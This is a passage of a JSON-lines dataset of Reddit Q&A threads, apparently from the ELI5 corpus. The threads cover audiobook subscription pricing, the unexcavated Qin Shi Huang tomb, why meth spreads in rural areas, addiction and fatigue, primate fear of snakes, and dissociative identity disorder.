the player of your choice. That way, you get to keep your purchases forever no matter what happens to your Amazon/Audible account. Look it up.", "I could not agree more. I could listen to one audio book in a few days. How the hell can I make one last a month? ", "Think it would have been much simpler to say that with Netflix, you're renting access to their library, but once your subscription stops, you no longer have access to it.\n\nWhile with Audible, you're buying digital copies to keep. ", "Because if you buy a book from audible, then you can listen  to that book indefinitely, whether you retain your gold-member status or not. There is no monthly fee to access your library. You stop paying netflix and you have nothing.", "I don't know about the US, but in Scandinavia and the Netherlands there is an Audiobook-service called Storytel that works exactly like a Netflix for books; it's slightly more expensive (about $20 a month), but you can listen to however many books you want as long as you subscribe. For a lot of the Swedish language ones, you get the ebook as well, and switching between the audio version and the text version is as easy as tapping the screen.\n\nI subscribe to both, but I read a lot, and Audible doesn't carry very many non-english books...", "Uh I dunno. I use something called Storytel, and it's like netflix but for audiobooks. Costs \u20ac12 a month.\nAs many audiobooks as you want, whenever you want.", "Overrdrive is the way to go. First off its free, just gotta have a library card which is also free. Unlimited books whenever, most are audio as well. It goes through your local library, what, support them adapting to the times. And if your library doesn't have a book on over drive,  just tell them. My library is excited when I come with a list of titles for them to add. Also supports movies, graphic novels/comics. Essentially FUCK audible.", "This is an interesting question. I'm not an expert but I'm going to speculate:\n\nNetflix's licensed third party content is almost always \"old\" content, as in movies that have passed their theater and DVD/RedBox windows, and TV shows that are at least a season behind. I feel like TV and movies don't have the shelf life that many books have, and therefore it makes sense to sell the rights to Netflix as a \"final\" revenue window. The DVD purchase market is basically dead, making streaming movies the only real option for long tail profits. In contrast, purchasing books or ebooks is still a relatively entrenched consumer behavior. \n\nLiterature covers virtually every subject imaginable, and much of it is relatively timeless. Only the most avid readers are continually plowing through current releases, while most casual readers just pick up a few books a year based on their interests. I'd speculate that that content in the literary world has a much longer shelf life and much flatter revenue trend (Whereas big studio Movies make most their money in the first weeks of theatrical release). Most people consume more video content than they do literary, so purchasing a few books here and there for most people isn't all that big of a deal. Publishers haven't faced much pressure from consumers to change their model and therefore the status quo remains. If anything, ebooks have entrenched the individual purchase model`because ebook stores on  devices like the Kindle make parting with your money easy and painless.", "Blows my mind how salty people in here are. The audiobooks I listen to take 20-40hours to listen to. That's under a dollar an hour for entertainment because it takes me at least a month to listen to one and I drive A LOT, which is where I listen. Audible is a great price for great quality books. Those books didn't write themselves, and they weren't narrated for free. ", " If you go to your public library and get a library card, they probably have a free and close to unlimited audio book streaming service. Audible assumes people don't know about this. ", "I have Amazon prime.  Lots of tv and movies plus books. Not sure if they are read to you or not. ", "Pro tip: Sign up for Audible and ride out the free period. Once that has run out log in and go to cancel your plan. When they ask why select \"because it's too expensive\". They will offer you 50% off for 3 months. Repeat.", "Use Overdrive through your local library! I just switched to that from Audible and _URL_0_ and I'm totally not going back. It's free, you can listen offline (and I know you can do that with the other services, but it's neat enough to mention), and sign up for auto renewals when a book expires.", "Audible sells, Netflix streams. You get to keep a copy of your book in perpetuity, but the menu on Netflix and the like is constantly changing. \n\nPlus I'd guess the market for audiobooks is much smaller, so prices need to be relatively high to allow publishers to make a profit.", "Isn't what you're describing called \"the library\" - physical books, books on CD, and Kindle books.", "You should look into a Overdrive. You can get free library audible books connecting you to public libraries. It is a free app. Your account gets suspended when you have $3 in book late fees. long as you no more than $3. I get 10 audible books at a time. ", "I have a book on Audible and I was once an Audible member.\n\nThe thing I notice with many of these threads are highly up-voted statements like \"Publishers are S***ty and they just want to make more money,\" or \"they may be getting paid crap, but it's better than getting paid nothing at all.\" (Those summaries are taken out of the highest up-voted comments from this thread)\n\nI'm not making a ton of money right now, and to get paid even less isn't appetizing.\n\nI also have a wife for whom I'm trying to provide, and we'd like to have children.  We can't afford it right now, but we're saving up as fast as we can and trying to increase our income. I quit being an Audible member as a way to save money for children.\n\nBecause the nature of streaming does not require permanent ownership of the creative content (in this case, Audiobooks), the amount that the streamer (Audible) could charge is dramatically less.\n\nIf we authors were to get paid for streaming instead of full sales, I estimate my profits per listen would go from about $1 to about $.05.\n\nIf the number of listeners would increase by 20, then I would make the same amount. If it did not increase by 20, then I would lose money.\n\nMaking my book took the better part of 6 years of my life. It cost tens of thousands of hours of work and twice the amount of money I had in my life savings account when I started, plus more.\nMy publisher took a huge risk in putting forth a first-time author.\nPublishing also is notorious for being an industry that you should not go into unless you love, love, love books. There just isn't any money in it.\nBecause of free services like Kindle, etc., publishing is getting to be an even tougher market.\n\nMaybe it's selfish of me, but I would like to earn at least enough income to provide for my family.\n\nDo you think that the number of listeners would increase to cover the change in cost? If we could prove that in practice, then by all means! Let's just do streaming.", "User of a rival service called Tunein Radio. For $7.99 a month they offer unlimited audiobooks, local radio from anywhere in the country in case you've moved, radio of major news networks with alerts anytime something big is going on, every NFL game, every college football game, and every MLB game. ", "I'm sure it's already been said, but with Netflix, you only get to watch movies as long as you continue to pay every month. Stop paying and you can't watch anymore. When you buy an audible book, it's yours. You own it and can listen to it as many times as you like without ever paying again.", "I listen to many audio books for free - BY GOING TO THE PUBLIC LIBRARY.  Seriously, the several libraries near me have a great selection of up to date books.  And they'll let you check out more than one!  And really, shouldn't you get out more often?", "What did you say? I was distracted by the audio books and movies I just torrented.", "Is it just me or is Fahrenheit 451 coming true?", "Go to your local library. They have a lot of modern books and audio books. I mean, it's free for a library card, multiple audio books at once. I'm sold :)", "Well, kindle unlimited is more like Netflix. The reason it is more expensive is because you get to \"own\" (not even getting into drm) your own copy. Netflix isn't actually selling anything, it's just giving you the opportunity to sample what they offer and give it back instantly.", "Why not download free audio books from the public library? Some libraries have amazing audio books you can download from their website.", "There is also hoopla digital, which is a library-based service. I believe I can check out 20 titles per month, which includes music albums, movies, tv shows, eBooks, and audio books. Look into whether your library is participating.", "As someone who helps run a small tape, vinyl, and CD label we find no benefit to using streaming companies. The money and exposure sadly just isn't there for anything on a smaller scale.", "'Netflix' Podcasts. Not books. Too may archaic 'rights' around books. Subscription podcasts is the model waiting around the corner. All the rising podcast platforms are like 50's television right now, commercials galore. Such an easy winning model to go subscription, and no commercials. ", "Lots of entitled people in this thread.\n\nIf something is not available in exactly the format or method you desire, for a price you are willing to pay, that *does not* justify stealing it.", "I know everybody in the world has responded at this point, but here's my .02:\nNarrated books are not advertised. movies are large budget, and are designed to recoup loss on the big screen. Marketing and reviews for movies are all over the place, whereas books, despite word of mouth, only get publicized so much, and the audio narration (sometimes 100+ hours of editing and voice work) isn't going to get press. Star Wars books have been extraordinarily produced in the last 10 years (sound effects, music tracks, etc) but they have a guaranteed market of fans. a book has to recoup its production costs on a much smaller scale than theaters, and audible is the only realistic mass-distribution platform at the moment. an audiobook will garner only a small amount of the sales of the original book, whereas a movie is the only way to consume that movie. so prices have to reflect that smaller consumption vs the price of ALL the books that audible records (while Netflix makes some content, it 'rents' the majority) ", "Not sure if it was mentioned, but if you have Kindle Unlimited, a large portion of their ebook library also includes the accompanying audiobook that you can download or stream for free (or at no additional cost to the monthly fee of Unlimited.)", "With movies you've usually got a big theatrical release to often cover most if not all of the initial buy in cost of making the film. Even if they don't make back their initial investment that theatrical release goes a long way toward making it back. They can then offer their content for cheaper to services like Netflix because they know that will drive sales of their next theatrical release.\n\nWith audiobooks on the other hand, you've got no big theatrical release. The release to Audible or a similar service IS their big release. All-you-can-eat subscription services work really well when you've already made back your initial investment money (like with movies) or if the content is just there to drive other sales (like with Marvel's TV series or basically the whole music industry these days), but it doesn't work so well when you need to pay back the cost of creating the content.\n\nThat's my two cents.", "To add to all the 'costs covered' and 'ownership' arguments which are very valid.\n\nA movie can be consumed in 1 - 2 hours. An Audiobook or a book generally can take weeks or months so consume if you do a chapter every few days.", "And that right there is the reason I've never even bothered with Audibles \"free trial\".  Check out _URL_0_ and see if your local library will allow free audiobook loans.", "From a consumer standpoint, because I still pay less than the cover price for all of my audible books if I subscribe, and no one else has a library as deep as theirs. Also, they seem to get new audiobooks at about the same time the print book comes out (can't say from experience, as any book I'm excited enough about to buy on the day of the release I usually buy a paper copy of).", "Stop paying for Audible.  Just join your local library and use _URL_0_ - free  e-audio books and e-books you can download  to any device anytime for free.  They also have apps for Android and Apple.  ", "**Scale**\n\nThe short of it is that more people are interested in watching TV  &  movies than are interested in audio books.  As a result, lowering the price  &  allowing for more content won't increase traffic because the thing that's stopping that user base from growing is not price based.  Knowing that, audible needs to invest a good deal in marketing and even then their user base will only be a fraction of Netflix's.  Basically they lack incentive because lowering prices won't generate enough new customers such that the drop in price per customer creates an overall greater profit.\n\n\n**Content**\n\nNetflix had the opportunity to try the waters of the streaming service model without having to create their own content first.  It was only after years of being in business that they slowly crept into the production field.  Audible needed a pool of quality audio books from day one.  This means that their upfront investment is higher, therefor their risk is higher, therefor the profit needs to be higher just to make the investment wrothwhile.\n\n**Maximizing profit**\n\nIt is the responsibility of every business to get the most money that they can.  Keywords being *most* and *can*.  Audible does not have competition in the way that Netflix does.  Netflix was competing with conventional TV.  Audible is in a category all it's own.  That being the case, they just need to find the highest price point where the majority of the users will pay and that's the price point.", "I have a free solution. Go to YouTube. Look up audio books. Pick one of the many that pop up and listen away. You might not always get choice, but as with music, you will often fall in love with something you might never gave tried if you had to pay for it. I've found new authors I love and purchase regularly thanks to this practice. ", "If I \"own it forever,\" can I download the mp3? Because if I can't d/l the mp3 and put it on a thumb drive, I don't fucking own it.", "Tv and movies are more accessible. More people are willing to spend money to watch TV than on books. If Netflix makes 1 cent off of each user, they're laughing... Audible needs to make a minimum of $5 per user per month just to pay the power bill.\n\n(I made those numbers up)", "Because of the same reason that \"cards against humanity\" can sell nothing for 5$ on black friday and make 71.000 dollars.", "You get to keep the audio books you get after you cancel your subscription, while with Netflix you can't watch anything after you cancel your subscription. ", "Because movie usually had made there money back by the time a movie has left the box office. While audiobooks are still in there first run of sales and cant afford to get the pennies on the dollar off of stream sales", "On audible you own the books. Even if you stop your subscription you can still download and listen to them. ", "The revenue streams of movies have many stages: cinema  >  box sales  >  merchandising  >  TV and then Netflix. Streaming is the last strategy to get the most (money) out of a production.\n\nAudiobook renevues rely on listenings alone.", "Check and see if your local library has an OVERDRIVE system if so then you can listen to as many audio books and read as many ebooks as you want for free.", "There is a really nice return feature that audible has to get around this. The audible still gets the money but the publisher doesn't.", "The last audio book I got from audible was 80 hours long, it's taken well over   month so far.", "One additional thing people might have mentioned. If you have both the Kindle and Audible apps on your phone, you can buy the kindle book and add the Audible version for just a few bucks more. Then switch back and forth between listening and reading when you like. Makes it both much cheaper then outright buying the audiobook and a fun experience. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["audible.com"], [], [], [], [], [], [], ["Scribd.com"], [], [], [], [], [], ["tunein.com"], [], [], [], [], [], [], [], [], [], [], [], [], ["Audiobooks.com"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["Overdrive.com"], [], ["overdrive.com"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1wp5az", "title": "When will the Central Tomb of Qin Shi Huang be excavated?", "selftext": "Is there a good estimation as to when/if this will happen?  What exactly would this entail?  What are some of the considerations that need to be made before the excavation begins? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wp5az/when_will_the_central_tomb_of_qin_shi_huang_be/", "answers": {"a_id": ["cf46pp6"], "score": [23], "text": ["When and how or if it should be excavated is a somewhat of a heated topic.\n\nThe Chinese goverment is doing the right thing (in most people's opinion) by waiting for technology to advance before digging into the hill.\n\nIn the seventies, when the terracotta army was discovered, the paint would flake right off as soon as the statues were discovered, due to exposure to air and the sun. Now they've got techniques where the paint is preserved as the excavation takes place. Similar advances in science and technology will most likely happen in the future. Not excavating the hill now ensures preservation for future generations. There's also already so much to dig around the tomb that it will take decades and decades to excavate what's there.\n\nThere will most likely be silk, fresco and paintings in the tomb, which are notoriously difficult to preserve once excavated. \n\nThe mercury levels in the tomb are also dangerously high, just how much mercury archeologists will encounter if and when an excavation takes place is anyones guess, but archeologists will have to come up with a solution to avoid the health risks exposure to mercury potentially pose.\n\nThe opposing view or side that support the opening of the mausoleum wants it excavated partially due to plain old human curiosity of what treasures and archeology is waiting inside, and not least the expected profit the tomb will bring to China, and especially the local area and the tourist industry.\n\nImagine if we had opened the tomb of Tuth Ank-Amon today, how much more information we'd be able to gather!\n\n[This article](_URL_0_) from livescience explains the case for not opening the tomb yet fairly well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.livescience.com/22454-ancient-chinese-tomb-terracotta-warriors.html"]]}
{"q_id": "1mruyu", "title": "why is ben bernanke considered such a good chairman of the federal reserve?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mruyu/eli5_why_is_ben_bernanke_considered_such_a_good/", "answers": {"a_id": ["ccc0m45"], "score": [2], "text": ["Because his beliefs and policies serve the interests of the people that own mass-media outlets."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2nltrx", "title": "In case of a sudden invasion by infiltration in the Roman Empire. What would've been the social and military steps taken in order to control the situation.", "selftext": "Let's suppose some enemy of Rome spent some weeks slowly infiltrating soldiers as roman citizens. All the attacks starts from the very heart of the most important places and spreading. They start a killing spree not caring if they are soldiers or civils, adults or kids.\n\n*Goverment:*\n\n* Did they have plans in case of sudden invasions?\n* In case they didn't: Would they organize new emergency protocols to keep the people safe?\n* Did they have a way to inform the population on what is going on? or would they keep it quiet?.\n* What would have been the steps taken to protect the Emperor?\n\n*Military:*\n\n* What would have been the strategies taken to fight the invasors?\n* What would have been the most probable outcome?\n* In case they needed reinforcements from another armies, how would they do that and how long until they arrive?\n\n*Society:*\n\n* (Besides panic and fear) What would've been the overall behaviour: people running/evacuating or fighting the invasors/protecting inside their homes?.\n\nIn case of victory, what would have been the steps taken to restore the order and rebuilding?\n\nIn case of defeat, and based on the behaviour of that era: the enemy would have taken control of Rome or they would destroy and burn the city?\n\nThanks for your answers and sorry if there's any mistake, english is not my native language.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2nltrx/in_case_of_a_sudden_invasion_by_infiltration_in/", "answers": {"a_id": ["cmey43t", "cmf9r6i"], "score": [5, 3], "text": ["Just one thing to help in answering....\n\nWhat period of time are you taking about?", " >  Let's suppose some enemy of Rome spent some weeks slowly infiltrating soldiers as roman citizens. All the attacks starts from the very heart of the most important places and spreading. \n\nThat's so unrealistic it hardly qualifies as what-if history. It would require so many men that it'd be better to just form an army and march to Rome and it would be impossible to organise something on such a scale across such a geographic area. Keeping it a secret with that many people involved would be even more impossible. And how would these infiltrators get the equipment to murder all those people? The mob is going to have access to whatever equipment the infiltrators will have access to.\n\nI guess what comes closest to what you're describing would be the Third Servile War, which started as a small slave revolt and escalated into a full-blown war with Spartacus leading the former slaves. The escaped slaves plundered the countryside, encouraging other slaves to join them. The success of the revolt meant that Spartacus' following grew to over 100000 men, women and children.\n\nSo how did the Romans respond? In this case, the Romans sent a praetor with a small militia army to quell the uprising. The army was defeated, so the Romans sent another praetor with a slightly larger militia army. That army too was defeated, so the Romans sent both consuls with their full armies. Those armies were defeated, so the Romans sent an even larger army under the command of one of their best generals, Crassus. That army was as large as the Roman army which fought Hannibal at Cannae. This finally settled the matter in favour of the Romans, but just in case it wouldn't, a reinforcement army led by Pompey was on its way. It arrived just in time to do some mopping up.\n\nHaving mentioned Cannae, it might be interesting to know that for a bit during the Second Punic War (after Cannae), the Romans nearly ran out of soldiers to throw at Hannibal. So in an exceptional event they armed prisoners and slaves and threw those at Hannibal. \n\nNow all of this happened a few centuries before the time you're asking about, but the basic Roman attitude was still the same at the time: throw soldiers at the problem. If that doesn't fix it, throw more soldiers at the problem. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qzcmv", "title": "why does meth flourish in rural areas?", "selftext": "As opposed to cocaine or people growing pot? You always hear about towns in states like Kentucky, Alabama, West Virginia and Tennessee when the news starts talking about Meth. What accounts for the popularity? Is it the availability of the ingredients? Because its easy money? Or is it because there's nothing better to do?\n\nExplain like I'm five please. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qzcmv/eli5_why_does_meth_flourish_in_rural_areas/", "answers": {"a_id": ["c41ng7c", "c41ni2j", "c41o06z", "c41o82k", "c41ofou", "c41qbmz"], "score": [8, 42, 3, 2, 3, 3], "text": ["Meth labs put off horrible smelling fumes which are easily hidden in some backwoods meth lab trailer. It can also be made out of items you buy from a grocery store. There's very little start up money involved and a huge demand for cheap product in poorer areas. Also, being filthy with rotten teeth doesn't really stick out like a sore thumb in some deeper rural areas as much as it would in a more populated area. ", "Meth is a drug that requires less energy to produce then many other organic drugs such as cocaine, marijuana, or heroin. All the above drugs are usually synthesized (created) from plants which ether require a large open area exposed to sun (And thus are easy to spot from the air.), or a system of lights to provide energy for the plants to grow. For industrial drug production (I.E. not your own little pot plant.) the cost of setting up the proper production scheme is relatively expensive to get to make it worth your wild. Also there is strong competition from other drug distributors that can produce more of the drug cheaper (Cocaine for Columbia, Heroin from Afghanistan, Marijuana for Canada and Mexico for instance)\n\n\nCrystallized Methamphetamine on the other hand is relatively cheap to produce for it's value because the drug is created from entirely chemicals means. The chemical required to produce it are relatively cheap, and available and the chemical process while dangerous, requires far less energy then growing a plant, and can be completed in a far smaller time allowing the individual to make his money back faster.\n\nAs such Crystallized Methamphetamine is simply the most economical drug to start production of in a rural area. In an urban area or place with access to international distribution they would just buy drugs from other countries. But as most rural area are land locked and don't have access to other countries to buy their own drugs then they have to produce their own and Crystal Meth is the cheapest to produce while costing the most to buy.\n\n", "Because Mr. White is expanding to the rural markets, bitch!", "Cocaine is expensive to produce. Meth is very cheap and easy to produce. ", "Read the book \"Methland\" for a more indepth look into the meth epidemic. ", "Because there is nothing to do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "106kmz", "title": "Why does tiredness bring out the addict in me? It makes me wonder if sleep therapy could be used to treat addiction", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/106kmz/why_does_tiredness_bring_out_the_addict_in_me_it/", "answers": {"a_id": ["c6aufkj", "c6av0us", "c6av9kk", "c6awjdz", "c6axa4c", "c6axjhe"], "score": [4, 14, 3, 2, 9, 2], "text": ["Sleep deprivation impacts impulse control. ", "This sounds related to the study about how self control is a limited resource. Here's a good [synopsis](_URL_1_), and a more [academic paper](_URL_0_) about it. I don't think the paper is the same one mentioned in the synopsis, but one of the researchers is the same and the subject they're studying is very similar.\n\nBasically, self control requires mental exertion, and the part of you that does that gets tired. At the end of the day, or after difficult physical/mental tasks, you're more likely to succumb to impulses because you almost literally run out of patience.\n\nedit: typo", "basically, we constantly are resisting urges all the time, and our brain gets tired of it and caves in. There's a good amount of empirical evidence for this from psychology. Also, supermarkets know this, so this is why candy is ready for you at the last possible point.", "One of the tools in 12 step programs is HALT as a kind of trigger or enabler for one's addictive acting out. HALT is Hungry, Angry, Lonely, Tired. The tool is useful when one is aware of any of the HALT indicators and becomes reflective instead of acting impulsively. So there is a great deal of practice around the issue to tiredness as a precondition for addictive behavior. ", "It's the HALT syndrome: Hungry, Angry, Lonely or Tired. These feelings make one vulnerable to addictive behaviors.", "Hmm I am wondering... Is it tiredness or lack of sleep that makes us weak to impulses?\n\nWhat I mean is, so if I drink a giant redbull, I feel more energized--does that increase my ability to avoid making \"bad\" decisions? Or does the lack of sleep, or unrestedness still make me vulnerable to poorer impulse control?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.communicationcache.com/uploads/1/0/8/8/10887248/self-control_as_limited_resource-_regulatory_depletion_patterns.pdf", "http://www.eurekalert.org/pub_releases/2003-02/cfta-sci021903.php"], [], [], [], []]}
{"q_id": "y6d1m", "title": "If every person were to stand at equal distance apart from each other on earth, how far apart would we be?", "selftext": "I'm not entirely sure if this question makes sense but I can clarify if necessary. Thank you.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/y6d1m/if_every_person_were_to_stand_at_equal_distance/", "answers": {"a_id": ["c5sqdko", "c5sqiou", "c5sv1k2", "c5sy6mx"], "score": [10, 4, 5, 9], "text": ["Let's just take land area and neglect the polar icecap (additional area) and areas which would be hard to stand on like cliff terrain etc. (subtracted area)\n\nThe land area of the earth is [~150 million km^2](_URL_0_). The world population is just under 7 billion (google).\n[](_URL_1_)\nSo dividing the area by the population you get ~0.02 km^2 per person which is about 20'000 m^2. Take the square root of that to get the length of the side of the square the person i standing in (which should also roughly be the distance to the next person): I get 140 meters (~400 feet).\n\n.. hmm that seems very short so feel free to check my calculations.\n\nedit: also check out this[ wikipedia link](_URL_1_) on population density\n\n\n", "Right on. Somehow that question popped into my head while viewing the meteor shower last night and I had to ask someone.", "Well we're at it, what if we tried to form a ring of people around the equator? Assume pontoon bridges across oceans.", "It's actually impossible to stand on a sphere with more than 20 people with exactly equal distance to each other. \n\n\nI know this sounds counter intuitive, but if it were possible there would be more platonic solids. The ancient greeks figured this out already. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://hypertextbook.com/facts/2001/DanielChen.shtml", "http://en.wikipedia.org/wiki/Population_density"], [], [], []]}
{"q_id": "16xgl9", "title": "Are our closest primate relatives as scared of spiders and snakes as humans seem to be?", "selftext": "Additionally, how do chimps and gorillas deal with or react to apex predators?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16xgl9/are_our_closest_primate_relatives_as_scared_of/", "answers": {"a_id": ["c80bmaw", "c80czro", "c80euye", "c80ghck"], "score": [34, 81, 2, 66], "text": ["I don't have any paper supporting this but I'm a biologist and during a month in Borneo we noticed (and our guide also confirmed) that orang outans were extremely afraid of snakes.", "Snakes and spiders are often used as unconditioned fear stimuli in non-human primate studies, so yes some primates are afraid of them. I'm trying to find the paper now, but the experiment involved lesioning the hippocampus and/or amygdala of macaques and looking at behavioral differences when reaching for food near a neutral block or a spider.  \n\nI don't really know about how other species would react though.", "ITT: \"instinct\". is that even a scientific term? (or at least, is there consensus on the definition)", "Amongst wild white-faced capuchins, infants will alarm at anything novel in the environment, but especially snake-like creatures. Adults teach infants to distinguish between novel and dangerous creatures by positively responding to alarm calls and, in the case of dangerous snakes, going and fetching infants and bringing them to look at the snakes while alarming at them. \"Snake events\" refer to events where members of the group will gather around, alarm at, and break branches over dangerous snakes. Pregnant monkeys don't attend snake events anymore than other monkeys, but mothers with small infants attend them at a much higher rate. Even non-mothers, such as adult males, will fetch infants and bring them to snake events. \n\nAs a side note, capuchins hate dangerous snakes so much, they have been known to mob them if one is attacking a monkey. They have [successfully saved](_URL_1_) each other from snake attacks. \n\nSource: I know [Meno](_URL_0_) who has done a lot of research on capuchins and snakes. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.ncbi.nlm.nih.gov/pubmed/23229464", "http://www.ots.ac.cr/bnbt/25510.html"]]}
{"q_id": "5yxyf7", "title": "Why are there no animals with two brains/two heads/two consciousnesses?", "selftext": "I just saw this pic of a baboon giving birth (_URL_0_) on Joe rogans faseboom and it hit me, why isn't this just a normal animal? I mean, wouldn't it be handy to have eyes in the back of your head, and someone else to consult on decisions? I'm surprised a Siamese twin or something hasn't been a massive survival advantage at some point and kicked off a new species or something?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5yxyf7/why_are_there_no_animals_with_two_brainstwo/", "answers": {"a_id": ["deu4tlz", "deu6ng0", "deud9fb", "deuee4u", "deuk9vt", "deurvwp", "devgb40"], "score": [3, 26, 5, 13, 3, 2, 4], "text": ["Conjoined twins can't start a new species because it isn't a heritable trait. It happens when, entirely randomly, the fertilized eggs fail to completely split.\n\nEven if it was a heritable trait, I disagree that it would result in evolutionary advantage. It comes with a host of other medical problems that would far outweigh any advantages.", "The closest thing we know about is probably octopuses, whose central nervous system is extremely decentralized; their arms seem to function as partially independent units, almost appearing to have a \"mind of their own\".", "Brains consume massive amounts of energy, and it isn't even a given that more brains means more intelligence, much less that more intelligence automatically converts a survival advantage. In fact, [it may be that increasing brain mass can reduce the chances of passing on genes](_URL_0_).\n\nThe octopus is an interesting case, and who knows where that branch of evolution could go if humans were out of the loop.", " >  >  In the average adult human, the brain represents about 2% of the body weight. Remarkably, despite its relatively small size, the brain accounts for about 20% of the oxygen and, hence, calories consumed by the body. This high rate of metabolism is remarkably constant despite widely varying mental and motoric activity.\n\nThinking is extremely energy-hungry, and having it centralized apparently brings various benefits of scale.\n\nRe: what /u/Sharlinator said about octopuses, they are kinda weird because they evolved around the limitations of their relatively inefficient cardiovascular system that uses copper instead of iron to deliver oxygen (having to extract oxygen dissolved in seawater doesn't help either). So maybe for them the benefits of having more\\* distributed nervous system outweigh the inefficiencies of decentralization.\n\nFor example, I'm reminded of [this](_URL_0_) well-sourced Livejournal post about why it's wrong to say that we have our retinas wired \"wrong\" (with blood vessels in front of them), while cephalopods like octopi have it wired \"right\" with no blind spots.\n\n[*] chickens can run around with their heads cut off, so their nervous system is at least _that_ decentralized. Some of their ancestor dinosaurs had larger brains in their backsides than in their heads. Humans have a lot of processing happening in our spines that's only recently being researched, like, I remember reading about some paraplegic person discovering that when they lied on their back their legs would randomly do walking motions, so that functionality must originate in the spine.", "The fallacy I see is equating 'more' with 'better'. Evolution seems to settle for good enough, just like most humans. Evolution is also more like building a car from parts found along the roadside than finding the best solution. If a single rusty axle is sufficient to make a car that survives the current environment, then a single axle it is. \n\nWe've had a long time discussing bias and this is a good example of our imaginations overriding our perceptions. Why shouldn't humans have wings? How awesome is that? Sorry; it's just not necessary.\n\nAs for having someone else to consult on decisions, there's a probability issue with that concept. It's highly likely that the two of you would have identical life experiences. How useful would that be in decision making? Isn't this why we seek out older (more life experience) and different (more varied life experience) when we get stuck on something and need to talk our way out of it?\n\nAnd I can see a negative survival value of having a constant conscious conversation. Didn't see that tiger coming. Should have been listening to the environment, not that meathead alternative me.", "Not totally answering your question here but in a procedure known as a corpus callosotomy they severe the main communication channels between both hemispheres of your brain (to treat epilepsy) and people have been known to exhibit completely different beliefs and values e.g. One half of the brain believes in God whilst the other does not. ", "we can't be sure that there isn't more than one consciousness in our own bodies; obviously there's the big one that lives in the thalamocortical tract, the one that talks and thinks and has the experiences that *you* are having right now; but there might be other subcortical structures that are independently conscious from the thalamocortical system (pons-mind? superior colliculus mind? a hive of cerebellar compartment minds?) - it could be that the enteric nervous system, which has a lot of autonomy from the CNS, is conscious; or maybe the immune system, considering its strongly interconnected structure that incorporates learning and memory through non-neural mechanisms (though I strongly doubt that one). Spinal ganglia might have some minor consciousness (similar to, but less extreme than, the case of the octopus and its many independent arm-control systems). Whoever they are, I would guess that there are more than one distinct consciousnesses in every animal, though the most central brain-based one is probably always the largest and most complex; and you (the Big One) regularly consult and interact with these through various communication mechanisms that you might not *count* as communication because they aren't linguistic or symbolic (e.g. the communication between the gut and the CNS is certainly not symbolic by any stretch of the imagination). So there's that to chew on."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/wUS0wl6.jpg"], "answers_urls": [[], [], ["http://blogs.discovermagazine.com/science-sushi/2013/01/03/expensive-organs-guppies-reveal-the-cost-of-big-brains/"], ["http://shkrobius.livejournal.com/143323.html"], [], [], []]}
{"q_id": "8tks5w", "title": "It is possible for someone who suffers from DID (Dissociative Identity Disorder), to have a Non-human alter?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8tks5w/it_is_possible_for_someone_who_suffers_from_did/", "answers": {"a_id": ["e18n5gr", "e18sqpr", "e18w8q7", "e18xft0", "e19x7fc"], "score": [3, 2, 3, 11, 5], "text": ["In short, probably not. A person suffering from a dissociative psychosis latches onto any context clues they come across to define their new \u201cidentity\u201d. So, unless they have their psychotic break at Comic-Con or while touring Roswell, it is highly unlikely that they would feel most comfortable taking on a non-human identity. ", "This is a cool question. The DSM diagnosis for DID basically that an individual must have at least 2 different personality states where they have different ways in interacting and perceiving the world around them, and there must be lapses in memory (like one alter personality does not remember the actions carried out while in the other personality state). \n\nThis means that from purely a diagnostic perspective, yes, If it is an altered way of thinking and acting about the environment around them it technically fits the diagnostic criteria. However as always in psychology differential diagnoses would have to considered where it may become more grey as to what the exact diagnosis would be.", "[Source - part I](_URL_1_)\n\n[Source -](_URL_0_) part II\n\nYes - in the sense that all the evidence points to DID really being a complicated delusion of that a person has multiple alters. Historically there has been cases of people believing they had animal alters occurring. But realistically there is not evidence that DID exists as is it described by its originators, e.g. that people can contain multiple \"real\" personalities that come and go and are accessed or repressed.  ", "To my knowledge, no patient or subject diagnosed with DID has ever presented with a non-human alter. Furthermore, I don't believe it would be technically possible within the definition of DID. As another poster mentioned, DID is defined as \"the presence of two or more identities or personality states.\"^1 While it may not seem explicit, this definition suggests that all of the identities/alters would be human in nature. I say this because the classification makes no mention of delusional beliefs (such as believing yourself to be a non-human animal).\n\nThat said, there are disorders which may cause one to think he or she is not human. Delusional Misidentification Syndromes (DMSs) represent a rare set of conditions in which a patient is utterly convinced that some person/place/thing is not as it seems. Some of the better-known DMSs include Capgras and Fregoli, but the list of conditions is quite long.^2 More to the point, there are case studies surrounding DMS patients who believe they are (at least partially) an animal. The most commonly reported one is dubbed \"clinical lycanthropy.\" Many physicians throughout history have assessed patients claiming to be werewolves.^3 While this is the most common one, there have been others. There was a case study of a man who believed he was a snake, for instance.^4\n\nBecause of the complexities of mental illness, precision in defining and understanding it is key. DID is characterized as a disorder in which a person exhibits two or more distinct personalities/identities. It is not considered to be a DMS, so they would not be expected to present with a non-human alter. If someone did present with a non-human identity, they would be diagnosed with something more akin to clinical lycanthropy than DID.\n\n1. Merkelbach et al., 